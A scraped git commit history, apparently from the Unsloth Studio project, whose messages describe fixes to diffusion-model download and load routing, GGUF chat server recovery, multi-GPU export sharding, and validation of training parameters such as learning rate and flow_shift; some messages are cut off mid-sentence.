Five review findings, four of them ways a click did nothing or fetched the wrong thing: - A chat pick of a diffusion model routed ggufVariant (a label like Q4_K_M) in the search param the target page uses verbatim as the GGUF filename, so the load asked for a file that does not exist. Route ggufFilename; no filename means a curated non-GGUF pick, loaded as a pipeline. - The task-scoped pickers kept only GGUF repos, so the catalog's bf16, bnb-4bit and single-file fp8 artifacts could not be discovered or downloaded on the Images and Video pages even though loadSpecFor knows how to load them. Keep curated artifacts whatever their format, in Recommended and in Hub search. - Both pages deduplicated routed selections on the model alone, and they now stay mounted, so picking the same repo again -- another quant, or the same one after chat evicted it -- returned early without loading or clearing the query string. Key on model and quant. - Every scoped image download shared one @diffusion job key regardless of the requested files, so switching quant mid-download adopted the running job: the UI waited on the first file set, then loaded a file that was never fetched. Include a digest of the file set in the key. - A scoped plan silently dropped requested files missing from Hub metadata, and snapshot_download succeeds when an allow pattern matches nothing, so the job reported completion and triggered a load with required files absent. Fail the job instead. |
||
|
pre-commit-ci[bot]
|
23f167da8e |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
f091be2a49 | Merge the branch's staged-download work with the main merge | ||
|
Daniel Han
|
f7d54a757f |
Merge origin/main into image-generation
Resolves the app-sidebar conflict: main added Hub and Projects rows inline while this branch renders the nav from navRows in the order and pin state set under Settings -> Appearance. Kept the data-driven rendering, having checked both of main's additions are already represented there - the projects row carries the same icon, label, active check, handlers and inline New project button. Main also replaced the sidebar's inline name field with NewProjectDialog, which owns its own state, so the button no longer resets a name draft: it sets the move target and opens the dialog, as main's other call sites do. |
||
|
Daniel Han
|
d7cdc96051 |
studio/tests: cover the GGUF load ordering behaviourally and make the structlog stub order-independent (#7442)
* studio: fix Backend CI red on main from an ambiguous ordering anchor test_load_marker_precedes_hub_guard_and_unload fails on main, so every open PR against the repo inherits the failure. Root cause. #7239 ( |
||
|
Unsloth
|
032561ae21 |
Add a file-scoped flavour to the Hub download job
Lets a consumer that reads a deliberate subset of a repo stage it through the normal download manager. Keyed as "@scope" so it never collides with a quant or with the repo's full snapshot, and the file list rides the registry so an XET to HTTP retry respawns the same scoped job. |
||
|
Unsloth
|
ca3592062c |
Add the diffusion download plan endpoint
Reports the repos and exact files a pick needs so the download manager can stage them with the loader's own file scope. A plain snapshot would add the packaged root single, transformer shards and fp16 twins the loader never opens. |
||
|
Unsloth
|
c095ccb96a |
Pin diffusion and video loads to the live HF cache root
Both read huggingface_hub's import-time HF_HUB_CACHE, which changing the cache folder does not update: progress counted the old root while the download wrote to the new one, and from_pretrained could split one model across both. |
||
|
oobabooga
|
aefeb5821d |
Studio: recover tool-enabled GGUF chats after llama-server exits (#7424)
* Fix GGUF tool chat server recovery
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover MTP precedence and loosen the replay assertion for PR #7424
Add a regression test for the MTP branch of the tool-loop respawn retry: the
file-wide _make_backend stub forces _maybe_recover_from_mtp_crash to False, so
nothing exercised the case where an MTP crash reload is already claimed and an
ordinary same-config respawn must not run on top of it. Cover both the next
tool-loop request and the final synthesis pass.
Replace the whole-payload equality assertions with a field-wise check. Comparing
the full dict pins max_tokens to the value derived from the dead server's
effective context, so a later fix that rebuilds server-derived defaults after a
respawn would read as a test failure rather than an improvement.
Document that the one-retry budget is per model request, not per chat turn.
* Recover from prefill-time deaths and stop respawn racing the MTP reload
Two gaps in the tool-loop respawn retry, both reproduced before fixing.
A child that exits during prefill has already accepted the socket, so httpx
raises ReadError, WriteError or RemoteProtocolError rather than ConnectError.
Those all arrive before the response opens, which is exactly the window where a
replay is safe, but the helper only caught ConnectError and gave up. Widen the
catch to NetworkError plus RemoteProtocolError. Timeouts stay excluded on
purpose: they mean the server is slow, not dead, and retrying one would spend
the 20 minute first-token budget twice. Windows resets connections where Linux
refuses them, so this also covers the common Windows presentation.
_maybe_recover_from_mtp_crash returns False both when the crash is not an MTP
crash and when an MTP-free reload is already in flight. Callers read that as
permission to respawn, so _respawn_if_dead replayed the crashing MTP kwargs and,
by replacing the process, made the in-flight reload abort on its own newer-load
check. Skip the respawn while that reload owns the corpse. The guard lives in
_respawn_if_dead so the plain chat path gets it too.
Regression tests for both, including a guard against retrying prefill timeouts.
* Release the MTP single-flight claim when the reload never starts
_mtp_runtime_fallback_in_progress is claimed before the reload thread exists, and
only that thread's finally clears it. Two statements ran in between with no unwind
path: re-reading _last_load_kwargs, which an unload can null underneath us, and
Thread.start(), which raises under the thread exhaustion that is exactly the
pressure killing llama-server in the first place. Nothing else ever resets the
flag, so a failure there latched it for the life of the process.
That was survivable before, since respawn ignored the flag. It is not now: the
guard added in
|
||
|
Daniel Han
|
db163e55e3 |
Namespace the trainer conditioning cache per checkpoint, bound the learning rate
- The trainer keyed its persistent conditioning cache on family and resolution only, while the keys themselves carry just the caption or image content and crop variant. One cache directory reused for two checkpoints, or for the same repo at a new revision, let a warm run skip loading its encoders and train on the other model's embeddings and latent statistics. Namespace on the base checkpoint and its resolved revision as well. The revision helper now lives beside the cache in diffusion_train_extras and the inference wrapper delegates to it, so the two cannot disagree about what counts as the same source. - The diffusion learning rate only checked positivity, but 1e309 floats to inf and satisfies gt, so the route evicted the resident models and started AdamW with an infinite rate: the first step destroys the adapter while progress looks normal and the result is saved. Bound it below 1.0, matching the LLM schema, which rejects inf for the same reason. |
||
|
Daniel Han
|
950da4cba8 |
Keep curated models listed, guard the video companion repo, pin diffusers
Three review findings: - The picker filtered every catalog member out of Recommended and Hub search on the way to canonical group rows, but nothing renders those rows yet (catalogGroupFitsDevice and groupMatchesQuery are imported and unused). A task-scoped picker's models list is catalogToModelOptions(), i.e. group members exclusively, so both lists came back empty and no curated model could be discovered or downloaded. Keep the artifacts listed until the grouped UI exists. - The video delete guard compared only repo_id, so deleting the companion base of a loaded GGUF video model was allowed even though it supplies the VAE and text encoders. Compare base_repo too, matching what the images guard already does for its companions. - diffusers was declared unversioned while the diffusion stack requires 0.39 (Krea2Pipeline, the cache_context child registries, the Flux2 and Z-Image pipelines), so an upgrade could keep an older release and selecting an advertised model failed until the user upgraded by hand. |
||
|
Hakan Baysal
|
e7d047a4ee |
studio: shard export checkpoint loads across all visible GPUs (#7215)
* studio: shard export checkpoint loads across all visible GPUs Export checkpoint loading always used unsloth's from_pretrained default of device_map="sequential", which stacks the whole model on GPU0. On a multi-GPU host this OOMs GPU0 while the other GPUs sit empty, so a GGUF export that would comfortably fit across the machine fails with CUDA out of memory (#7053). Add _multi_gpu_device_map_kwargs(): when the CUDA/ROCm host exposes more than one visible GPU and get_device_map resolves to "balanced" (the same policy the inference loader already uses), pass device_map="balanced" to every from_pretrained in load_checkpoint. In every other case -- single GPU, CPU, MLX, or any probe failure -- it returns {} so the loader default is untouched. Fixes #7053 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio/save: reach the UUID/MIG fallback, release sharded models before quantize Two review fixes on the multi-GPU export sharding: 1. UUID/MIG CUDA_VISIBLE_DEVICES masks resolve to no numeric ids, so the len(visible) > 1 gate skipped get_device_map entirely and large exports on those hosts still stacked onto GPU0. An empty id list now routes to get_device_map(None), whose visible-count fallback exists for exactly this case; a genuinely GPU-less host still resolves "sequential" and keeps the loader default. 2. The compressed (FP8/NVFP4) export freed GPU memory before its llm-compressor subprocess only for single-device models -- a plain .to("cpu") is invalid on an accelerate-dispatched model, so a multi-GPU-sharded checkpoint stayed resident on every GPU while the subprocess loaded a second copy. The release is factored into _offload_model_for_quantize_subprocess / _restore_model_after_quantize_subprocess: dispatched all-GPU shards get their accelerate hooks removed, move to CPU, and are re-dispatched over the recorded hf_device_map afterwards. Maps with cpu/disk targets (already offloading) and quantized models are left alone, as before. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio/save: budget merged tensors per device, restore hooks if CPU offload fails Two review fixes on the multi-GPU export path: 1. The LoRA-merge save path budgeted every merged tensor against GPU0 (get_device_properties(0) + unqualified memory_allocated()). A merged tensor lives on the GPU of its source layer, so for a model sharded across GPUs (the device_map="balanced" this PR enables) GPU1+ could OOM as their weights accumulated while only GPU0's headroom was checked. Budget against W's own device via a per-device cache; single-GPU behavior is unchanged (W on GPU0). 2. _offload_model_for_quantize_subprocess removed the accelerate hooks and then moved a dispatched model to CPU; if that move raised (host RAM too small for the sharded checkpoint) the model was left hookless and half-moved, breaking later exports in the same worker. It now re-dispatches (or, for the single-device path, moves back) on a failed move before aborting the offload. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio/save: release sharded models before the torchao reload too The portable torchao FP8/INT8 export freed the in-memory model only when every parameter sat on one device, then reloaded a second copy with device_map="auto". A checkpoint loaded through the new multi-GPU export map is accelerate-dispatched across several GPUs, so that single-device gate never fired and the original stayed resident on every GPU during the reload -- an OOM for exactly the models large enough to have needed the sharded load. It now uses the same _offload_model_for_quantize_subprocess / _restore_model_after_quantize_subprocess pair as the compressed export, which removes the accelerate hooks, moves to CPU, and re-dispatches over the recorded hf_device_map afterwards. Those helpers are extended to XPU as well, since torchao also runs on Intel GPUs and the path they replace covered both. * studio/save: release quantized and cpu-spilled shards before quantize reloads Two cases the release helper skipped outright, both of which leave GPU memory held while the compressed subprocess or the torchao device_map="auto" reload allocates a second copy: - Quantized models. ExportBackend.load_checkpoint loads 4-bit by DEFAULT, so the common Studio export hit the is_loaded_in_4bit guard and kept a quantized shard on every visible GPU. They are now attempted like any other model: transformers refuses .to() for some bitsandbytes builds, but that refusal raises before anything moves, so the existing recovery path restores the model and returns None -- best-effort where the stack allows it, old behaviour where it does not. - Maps that spill to CPU. Any non-GPU target disqualified the whole model even though the GPU-mapped modules were still resident and are exactly what needs reclaiming. A cpu spill is safe to move (those weights are already in host RAM) and is now released; only disk/meta targets are still skipped, because accelerate keeps those parameters off the model and moving would try to materialize the whole checkpoint. An all-CPU map is skipped as a no-op. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix multi-GPU offload for PEFT exports and fall back when sharding OOMs (#7215) The dispatch branch of _offload_model_for_quantize_subprocess never ran for a PEFT model: the wrapper proxies _hf_hook, so remove_hook_from_submodules raised AttributeError and the bare except returned None. Studio always loads adapters, so the new balanced map turned the offload off (0 percent freed against 91.8 on the sequential path it replaces). - resolve the real dispatch root before removing or replaying hooks - snapshot and replay hooks, tensor placements and instance forwards; a plain re-dispatch rebuilds hooks against the post-PEFT tree (395 to 1379) and drops the fused kernels accelerate captured into _old_forward before unsloth patched - drop the accelerator side of tied_params_map so the offload actually frees - pass skip_keys on the fallback dispatch_model - log the swallowed exception instead of returning None silently - guard _unsloth_save_torchao_with_given_config like its two siblings - retry the export load once on the loader default when the balanced map OOMs, which happens when a training or chat job already owns the other GPUs Measured on 4x B200 with Qwen3-0.6B: 89.9 percent freed bf16 and 79.7 percent 4bit under balanced, logits bit-identical, hooks and placements restored exactly, 184 Params4bit round-tripped unchanged including nested state2. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Keep the original offloaded until the torchao copy is released, and retie shared weights (#7215) Two follow-ups from review of |
||
|
Daniel Han
|
a515fbfed3 |
Version the conditioning cache key and reject non-finite flow_shift
Two correctness fixes: - The cache keyed the checkpoint and its companion base by name only, so a Hub repo advancing to a new commit, or a local directory updated in place, kept returning embeddings from the previous text encoder. Pair both with a revision marker: the locally resolved commit sha for a Hub repo, config plus text-encoder file stats for a directory. Neither loads the encoders, so a warm run still keeps them off the GPU. - flow_shift only checked positivity, but JSON accepts 1e309, which floats to inf, and inf <= 0 is False while NaN fails every comparison. The sigma table then evaluates s * u / (1 + (s - 1) * u) as NaN, which poisons every sampled sigma and saves a corrupted adapter while progress looks normal. Require a finite value. |